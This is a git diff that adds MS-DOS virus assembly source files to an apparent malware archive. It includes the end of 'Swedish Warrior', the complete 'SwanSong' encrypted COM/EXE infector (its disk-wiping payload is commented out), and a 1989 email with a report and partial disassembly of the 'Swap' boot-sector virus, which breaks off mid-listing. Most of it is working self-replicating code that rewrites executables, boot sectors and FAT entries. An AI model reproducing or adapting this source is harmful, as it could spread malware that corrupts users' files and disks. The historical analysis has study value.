+ push es + pop ds + mov di,0100h + mov si,offset buffer + add si,bp + movsw + movsb + pop cx + pop ax + xor dx,dx + push dx + xor bp,bp + xor si,si + xor di,di + mov bx,0100h + push bx + xor bx,bx + retn + db 'Swedish Warrior v1.0 by Lord Zer0.' +buffer db 90h,0CDh,20h +oldint21: + dd ? +new_jmp db 0e9h,00h,00h +tsr: + pushf + cmp ah,4Bh ; check for execution, + je infect ; if so, infect it.... + cmp ax,3D03h + jne gooo + popf + iret +gooo: + popf + jmp dword ptr cs:[oldint21] +infect: + push ax + push bx + push cx + push dx + push bp + push si + push di + push ds + push es + mov ax,4300h + int 21h + jc quit + push cx + xor cx,cx + mov ax,4301h + int 21h + + mov ax,3d02h + int 21h + push ds + push dx + push cs + pop ds + mov bx,ax + mov ah,3fh + mov dx,offset buffer + mov cx,3 + int 21h + cmp word ptr cs:[buffer],'ZM' + je quitexe + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + sub ax,offset finish-offset start+3 + cmp ax,word ptr cs:[buffer+1] + je quitexe + add ax,offset finish-offset start + mov word ptr cs:[new_jmp+1],ax + + mov ah,40h + mov cx,offset finish-offset start + mov dx,0100h + int 21h + jc quitexe + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h + mov cl,3 + mov dx,offset new_jmp + int 21h +quitexe: + mov ax,5700h + int 21h + inc al + int 21h + mov ah,3eh + int 21h + pop dx + pop ds + + pop cx + mov ax,4301h + int 21h +quit: + pop es + pop ds + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + jmp gooo +maketsr: + mov ax,[si] + mov es:[di],ax + mov ax,[si+2] + mov es:[di+2],ax + + cli ; Disable interrupts + mov ds:[si],bx + mov ds:[si+2],es + sti ; Enable interrupts + ret +finish: + end start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.swansngb.asm b/MSDOS/Virus.MSDOS.Unknown.swansngb.asm new file mode 100644 index 00000000..65d1307b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.swansngb.asm @@ -0,0 +1,630 @@ +; ZEP1.ASM : [SwanSong] by [pAgE] +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'ZP' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov di,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov bp,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,46h,0 ; add word ptr cs:[bp], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bp ; calculate new decryption location + inc bp + dec di ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],9 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,1 ; Check month + jb exit_virus + cmp cx,1992 ; Check year + jb exit_virus + cmp al,0 ; Check date of week + jae activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 27h ; YEAH! Memory Resident + NOP ; Change it to 21h instead! + retn +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 23Fh + db 2 +data_4 dw 0 + db 'TheDraw COM file Screen Save' + db 1Ah +data_5 db 'Unsupported Video Mode', 0Dh, 0Ah + db '$' +loc_1: + mov ah,0Fh + int 010h + xor ah,ah + int 010h + mov ax,0002h + mov cx,0100h + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_ret_21 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 + + +loc_ret_21: + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + ;mov ax,0002h ; Which Drive??? + ;mov cx,0100h ; How many sectors to NUKE? + ;cli ; Disable interrupts (no Ctrl-C) + ;cwd ; Clear DX (start with sector 0) + ;int 026h ; Ahhhh! WAD...pfffft! + ;sti ; Res.interrupts what's left + ;mov ax,04C00h ; DOS term.func. + ;int 021h +activate endp + + jmp exit_virus + +creator db '[MPC]',0 ; Mass Produced Code Generator +virusname db '[SwanSong]',0 +author db '[pAgE]',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data00 dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 0 +data_6 db 2 + db 10h + db 'I', 27h, 'll never leave you alo' + db 'ne because, I', 27h, 'm ...' + db 19h, 1Dh, 18h, 19h, 48h, 18h + db 19h, 48h, 18h, 19h, 0Eh, 04h + db 0D6h,0C4h,0D2h,0C4h,0BFh, 20h + db 0D2h, 20h, 20h,0C2h, 20h,0D2h + db 0C4h,0C4h,0BFh, 19h, 2Ah, 18h + db 19h, 10h, 0Bh,0BAh, 19h, 02h + db 0C7h,0C4h,0C4h,0B4h, 20h,0C7h + db 0C4h, 19h, 2Ch, 18h, 19h, 10h + db 09h,0D0h, 19h, 02h,0D0h, 20h + db 20h,0C1h, 20h,0D0h,0C4h,0C4h + db 0D9h, 19h, 2Ah, 18h, 19h, 0Eh + db 04h,0D6h,0C4h,0D2h,0C4h,0BFh + db 20h,0D6h,0C4h,0C4h,0BFh, 20h + db 0D2h,0C4h,0C4h,0BFh, 20h,0D2h + db 20h,0DAh, 19h, 26h, 18h, 19h + db 0Eh, 0Bh,0BAh, 20h,0BAh, 20h + db 0B3h, 20h,0C7h,0C4h,0C4h,0B4h + db 20h,0C7h,0C4h,0C2h,0D9h, 20h + db 0C7h,0C4h,0C1h,0BFh, 19h, 25h + db 18h, 19h, 0Eh, 09h,0D0h, 20h + db 0D0h, 20h,0C1h, 20h,0D0h, 20h + db 20h,0C1h, 20h,0D0h, 20h,0C1h + db 20h, 20h,0D0h, 20h, 20h,0C1h + db 19h, 25h, 18h, 19h, 0Eh, 04h + db 0D2h, 20h,0D2h, 20h,0C2h, 20h + db 0D2h, 20h, 20h,0C2h, 20h,0C4h + db 0D2h,0C4h, 20h,0D6h,0C4h,0D2h + db 0C4h,0BFh, 20h,0D6h,0C4h,0D2h + db 0C4h,0BFh, 20h,0C4h,0D2h,0C4h + db 20h,0D6h,0C4h,0C4h,0BFh, 20h + db 0D6h,0C4h,0C4h,0BFh, 20h,0D6h + db 0C4h,0D2h,0C4h,0BFh, 20h,0D6h + db 0C4h,0C4h,0BFh, 20h,0D6h,0C4h + db 0C4h,0BFh, 20h, 20h, 18h, 19h + db 0Eh, 0Bh,0BAh, 20h,0BAh, 20h + db 0B3h, 20h,0C7h,0C4h,0C4h,0B4h + db 20h, 20h,0BAh, 19h, 03h,0BAh + db 19h, 04h,0BAh, 19h, 03h,0BAh + db 20h, 20h,0BAh, 20h, 20h,0B3h + db 20h,0BAh, 20h,0C4h,0BFh, 19h + db 02h,0BAh, 19h, 02h,0BAh, 20h + db 20h,0B3h, 20h,0BAh + db 20h, 20h + dd 182020B3h ; Data table (indexed access) + db 19h, 0Eh, 09h,0D3h,0C4h,0D0h + db 0C4h,0D9h, 20h,0D0h, 20h, 20h + db 0C1h, 20h,0C4h,0D0h,0C4h, 19h + db 02h,0D0h, 19h, 04h,0D0h, 19h + db 02h,0C4h,0D0h,0C4h, 20h,0D0h + db 20h, 20h,0C1h, 20h,0D3h,0C4h + db 0C4h,0D9h, 19h, 02h,0D0h, 19h + db 02h,0D3h,0C4h,0C4h,0D9h, 20h + db 0D0h, 20h, 20h,0C1h, 20h, 20h + db 18h, 19h, 0Eh, 0Eh, 1Bh,0D2h + db 19h, 04h,0C2h, 20h,0C4h,0C4h + db 0D2h,0C4h,0C4h, 20h,0D2h, 1Ah + db 04h,0C4h,0BFh, 20h,0D2h, 19h + db 04h,0C2h, 20h,0D6h, 1Ah, 04h + db 0C4h,0BFh, 19h, 03h, 04h, 1Bh + db 0D2h, 20h,0D2h, 20h,0D2h, 20h + db 0D2h, 20h,0D2h, 20h,0D2h, 20h + db 0D2h, 20h,0D2h, 20h, 20h, 18h + db 19h, 0Eh, 0Eh, 1Bh,0BAh, 19h + db 04h,0B3h, 19h, 02h,0BAh, 19h + db 02h,0BAh, 19h, 04h,0B3h, 20h + db 0BAh, 19h, 04h,0B3h, 20h,0BAh + db 19h, 09h, 0Bh, 1Bh,0BAh, 20h + db 0BAh, 20h,0BAh, 20h,0BAh, 20h + db 0BAh, 20h,0BAh, 20h,0BAh, 20h + db 0BAh, 20h, 20h, 18h, 19h, 0Eh + db 0Eh, 1Bh,0D3h,0B7h, 19h, 02h + db 0DAh,0D9h, 19h, 02h,0BAh, 19h + db 02h,0C7h,0C4h,0C4h,0C4h,0C2h + db 0C4h,0D9h, 20h,0BAh, 19h, 04h + db 0B3h, 20h,0D3h, 1Ah, 04h,0C4h + db 0BFh, 19h, 03h + db 9, 1Bh, 'o o o o o o o o ' + db 18h, 19h, 0Fh, 0Eh, 1Bh,0BAh + db 19h, 02h,0B3h, 19h, 03h,0BAh + db 19h, 02h,0BAh, 19h, 02h,0B3h + db 19h, 02h,0BAh, 19h, 04h,0B3h + db 19h, 06h,0B3h, 19h, 14h, 18h + db 19h, 0Fh,0D3h,0C4h,0C4h,0C4h + db 0D9h, 20h, 20h,0C4h,0C4h,0D0h + db 0C4h,0C4h, 20h,0D0h, 19h, 02h + db 0C1h,0C4h, 20h, 20h,0D3h, 1Ah + db 04h,0C4h,0D9h, 20h,0D3h, 1Ah + db 04h,0C4h,0D9h, 19h, 14h, 18h + + +data_1e equ 0A0h +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.swap.asm b/MSDOS/Virus.MSDOS.Unknown.swap.asm new file mode 100644 index 00000000..f8c0d29d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.swap.asm @@ -0,0 +1,551 @@ +From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22 +To: RCSTRN@HEITUE51 +CC: +Subj: Swap Virus + +Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788 + for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N +Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300 +Date: Tue, 15 Aug 89 20:33:34 +0300 +From: "Yuval Tal (972)-8-474592" +Subject: Swap Virus +To: RCSTRN@HEITUE51 + +hi.... + +This is the swap virus that i've told u about.. + +cheers, + + yuval + +------------------------------------------------------+ + | The "Swapping" virus | + +------------------------------------------------------+ + | | + | Disassembled on: August, 1989 | + | | + | Disassembled by: Yuval Tal | + | | + | Disassembled using: ASMGEN and DEBUG | + | | + +------------------------------------------------------+ + +Important note: If you find *ANYTHING* that you think I wrote +incorrectly or is-understood something, please let me know ASAP. +You can reach me: + + Bitnet: NYYUVAL@WEIZMANN + InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU + + +This text is divided into theree parts: + + 1) A report about the Swap Virus. + 2) A disassembly of the Swap Virus. + 3) How to install this virus? + +------------------------------------------------------------------------------- + R E P O R T +------------------------------------------------------------------------------- + +Virus Name..............: The Swap Virus +Attacks.................: Floppy-disks only +Virus Detection when....: June, 1989 + at......: Israel +Length of virus.........: 1. The virus itself is 740 bytes. + 2. 2048 bytes in RAM. +Operating system(s).....: PC/MS DOS version 2.0 or later +Identifications.........: A) Boot-sector: + 1) Bytes from $16A in the boot sector are: + 31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13 + 9A 00 01 00 20 E9 XX XX + 2) The first three bytes in the boot sector are: + JMP 0196 (This is, if the boot sector was + loaded to CS:0). + B) FAT: Track 39 sectors 6-7 are marked as bad. + C) The message: + "The Swapping-Virus. (C) June, by the CIA" + is located in bytes 02B5-02E4 on track 39, + sector 7. +Type of infection.......: Stays in RAM, hooks int $8 and int $13. + A diskette is infected when it is inserted into the + drive and ANY command that reads or writes from/to + the diskette is executed. Hard disks are NOT infected! +Infection trigger.......: The virus starts to work after 10 minutes. +Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping) + $13 (Disk Drive - Infects!) +Damage..................: Track 39 sectors 6-7 will be marked as bad in the + FAT. +Damage trigger..........: The damage is done whenever a diskette is infected. +Particularities.........: A diskette will be infected only if track 39 sectors + 6-7 are empty. + + +------------------------------------------------------------------------------- + D I S A S S E M B L Y +------------------------------------------------------------------------------- + +;The first thing I did, inorder to dis-assemble this virus, was un-assemling +;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler +;called ASMGEN to set all the labels and variables in the .ASM file. I then +;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM +;file that no command will be missing, added a few things and this is the +;result: + +CODE SEGMENT + + ASSUME DS:CODE,CS:CODE + ORG 0000H + +START: JMP L0353 + + DATA_BEGIN EQU THIS BYTE + + OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment + OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment + RandomNumber DW 0 ;The random number + Flag DB 0 + Counter DW 0 + Counter2 DW 0 + Status DB 0 + CHAR DB 0 ;The character that is falling + CHARUNDER DB 0 ;The chacterer that we save + ADDRCHAR DW 0 ;The address of the character in mem. + GOT13 DB 0 ;If interrupt 13 is installed + DISKDRIV DB 0 ;The diskette that we are infecting + DISK DW 0 ;The diskette that we are infecting + + + DATA_END EQU THIS BYTE + +; The following 11 command are written into the boot-sector at address CS:196 +; At first I worte the commands, but some of the opcodes weren't the same as +; in the virus so I've exchanged them into opcodes for maximum compability. + + + StartCmds EQU THIS BYTE + + DB 031h,0C0h ;XOR AX,AX + DB 0CDh,013h ;INT 13h + DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h + DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h + DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h + DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h + DB 08Eh,0C3h ;MOV ES,BX + DB 0BBh,000h,000h ;MOV BX,0 + DB 0CDh,013h ;INT 13h + DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000 + DB 0E9h ;JMP +FirstJMP DW 0FE89h ; 003EH (Don't worry, + ; it's the right addres + + +;------------------------------------------ +; This is the new interrupt $13 routine +;------------------------------------------ + +NewInt13: + PUSHF ; + CMP DL,1h ;Call for drive A: or B:? + JA L0153 ;If not, don't put virus + + CMP AH,2h ;Is it a readblock function + JB L0153 ;(AH=2)? No, AH is smaller so + ;don't put virus + + CMP AH,3h ;Is it a writeblock function + JA L0153 ;(AH=3)? No, AH is bigger so + ;don't put virus + INC DL ;Set disk drive to fit the user + ;(Drive A=1 ; Drive B=2) + MOV CS:DiskDriv,DL ;Save the drive number + DEC DL ;Set disk drive to fit the int. + ;(Drive A=0 ; Drive B=1) + + +L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13 + JNB L0160 ;If no error, goto end of + ;routine. (JNB=JNC) + MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0 + +L0160: RETF 2 ;Return from routine + +;----------------------------------------------------- +; Infect the diskette +;----------------------------------------------------- + +L0163: PUSH ES ; + PUSH BP ;Save registers + MOV BP,SP ; + MOV AX,[BP+10h] ;Let AX=CS from the stack + + POP BP ; + + CMP AX,0200h ;Are we called from the system? + JBE L01BB ;If so, don't infect + MOV BX,CS ;Get the program segment + CMP AX,BX ;Is it the same as one from + JNB L01BB ;stack? If so, don't infect + + MOV AX,CS ; + MOV ES,AX ;ES=CS + MOV AL,CS:DiskDriv ;AL=DiskDriv + DEC AL ;Set AL to fit int + XOR AH,AH ;AH=0 + MOV CS:Disk,AX ;Save AX + MOV AX,0201h ;Read one sector + MOV BX,0400h ;to buffer CS:400 + MOV CX,0003h ;from sector 3, track 0 (FAT) + MOV DX,CS:Disk ;restore the disk drive + INT 13h ;Read it!!! + JB L01BE ;If error, don't infect + + MOV AX,0301h ;Write one sector + MOV BX,0400h ;from CS:400 + MOV DX,CS:Disk ;the disk drive number + CMP BYTE PTR CS:[BX+13h],0 ;is there something on it? + JNZ L01BE ;yes, don't infect + + MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the + OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad + INT 13h ;Re-write the FAT! + JB L01BE ;If error, don't infect! + JMP SHORT L01C1 ;Continue... + +;Note: I have no idea what is the object of the next NOPs. + + NOP ; +L01BB: JMP SHORT L022D ;These JMP are for the don't + NOP ;infect...see above! +L01BE: JMP SHORT L0227 ; + NOP ; + +L01C1: MOV AX,0201h ;Read one sector to the + MOV BX,0400h ;buffer at CS:400 + MOV CX,0001h ;from sector 1, track 0 (boot + MOV DX,CS:Disk ;sector) from diskette + INT 13h ;Read it! + JB L0227 ;If error, don't infect + +;A boot sector always start with a JMP to a certain place. This virus changes +;this JMP to + + MOV BX,0400h ;Check where does the first + MOV AL,CS:[BX+1] ;JMP jumps to. + XOR AH,AH ; + SUB AX,1B3h ;Reduce 1B3h to calculate the + ;real JMP address and + MOV CS:FirstJMP,AX ;save it. + + MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded + MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP + + PUSH SI ; + PUSH DI ; + PUSH DS ;Save registers + MOV AX,CS ; + MOV DS,AX ;DS=CS + +;Here, the commands which are added to the boot-sector at the 196th byte are +;copied to the loaded boot-sector at address CS:400. + + MOV SI,Offset StartCmds ;SI points to commands to add + ;to the boot-sector + MOV DI,0596h ;The 196th byte from CS:400 + MOV CX,1Fh ;The commands are 1Fh bytes long + CLD ; + REPZ MOVSB ;Copy it! + +L0200: POP DS ; +L0201: POP DI ; +L0202: POP SI ;Restore registers + +;The loaded and changed boot-sector is re-written to the diskette. + + MOV AX,0301h ;Write one sector from + MOV BX,0400h ;CS:400 to + MOV CX,0001h ;sector 1, track 0 + MOV DX,CS:Disk ;disk number.. + INT 13h ;Write data! + JB L0227 ;If error, don't infect + +;Here, the virus is written to the diskette to the marked bad sectors + + MOV AX,0302h ;Write two sectors from + MOV BX,0 ;CS:0 (this code!) to + MOV CX,2706h ;track 27h, sector 6 + MOV DX,CS:Disk ;disk number.. + MOV DH,1h ;side number 1 + INT 13h ;Write it! + +L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0 +L022D: POP ES ;Restore register + JMP SHORT L02AF ;finished infecting + NOP ;Again, i don't know what is + ;this NOP object +;------------------------------------------- +; The new interrupt 13h is installed here +;------------------------------------------- + + +L0231: XOR AX,AX ;ES points to lowest segment + MOV ES,AX ;in memory + MOV BX,ES:4Ch ; + MOV CS:OldInt13[0],BX ;Save the int vector (offset) + MOV BX,ES:4Eh ; + MOV CS:OldInt13[2],BX ;Save the int vector (segment) + + MOV BX,CS ;BX=CS + MOV ES:4Eh,BX ;Change the int vector (segment) + MOV BX,Offset NewInt13 ;BX=Offset of the new int 13 + MOV ES:4Ch,BX ;Change the int vector (offset) + + MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal + MOV BYTE PTR CS:Status,0 ;Status=0 + + JMP L034D ;Continue.... + +;----------------------------------------------------- + +L0267: JMP L0163 ;Infect disk! + +;----------------------------------------------------- +;This is the new interrupt $8 +;----------------------------------------------------- + +L026A: PUSHF ; + CALL DWORD PTR CS:OldInt8 ;Call orginal interrput + PUSH AX ; + PUSH BX ; + PUSH CX ; + PUSH DX ; + PUSH ES 